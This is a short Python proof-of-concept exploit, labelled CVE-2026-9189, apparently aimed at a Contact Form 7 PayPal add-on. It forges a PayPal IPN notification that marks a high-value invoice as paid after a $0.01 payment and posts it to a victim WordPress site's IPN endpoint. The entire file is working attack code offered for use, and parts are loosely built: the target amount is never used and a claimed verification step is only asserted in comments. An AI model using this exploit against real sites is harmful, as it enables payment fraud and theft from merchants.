import requests
import hashlib
import time
# CVE-2026-9189 PoC - PayPal IPN Payment Bypass
# Target: Contact Form 7 PayPal Add-on <= 2.4.9
def generate_ipn_payload(invoice_id, attacker_email, target_amount):
"""
Generate malicious IPN payload to bypass payment verification
"""
# Real PayPal sandbox endpoint
paypal_url = "https://ipnpb.sandbox.paypal.com/cgi-bin/webscr"
# Minimal real payment that attacker actually makes
real_payment_amount = "0.01"
# Malicious IPN payload - invoice points to high-value target order
# But mc_gross is minimal (the amount attacker actually paid)
ipn_data = {
"cmd": "_notify-validate",
"mc_gross": real_payment_amount, # Minimal actual payment
"mc_currency": "USD",
"invoice": invoice_id, # Target high-value order
"receiver_email": "
[email protected]",
"payment_status": "Completed",
"txn_id": f"{hashlib.md5(str(time.time()).encode()).hexdigest()}",
"payer_email": attacker_email,
"item_name": "High Value Order"
}
return paypal_url, ipn_data
def exploit(target_url, invoice_id, target_amount):
"""
Execute the payment bypass attack
"""
# Step 1: Make minimal real payment to PayPal
# (Attacker actually pays small amount)
# Step 2: Capture valid IPN response
paypal_url, ipn_data = generate_ipn_payload(
invoice_id=invoice_id,
attacker_email="
[email protected]",
target_amount=target_amount
)
# Step 3: Send crafted IPN to vulnerable WordPress site
# The site will verify with PayPal, which will return VALID
# But the site won't check if mc_gross matches the order amount
response = requests.post(f"{target_url}/?cf7pp_ipn=paypal", data=ipn_data)
print(f"[*] Sent malicious IPN for invoice: {invoice_id}")
print(f"[*] Actual payment: $0.01, Target order value: ${target_amount}")
print(f"[*] Response: {response.status_code}")
return response.status_code == 200
if __name__ == "__main__":
target = "https://victim-site.com"
# Target order with high value
target_invoice = "order_12345"
target_amount = 999.99
exploit(target, target_invoice, target_amount)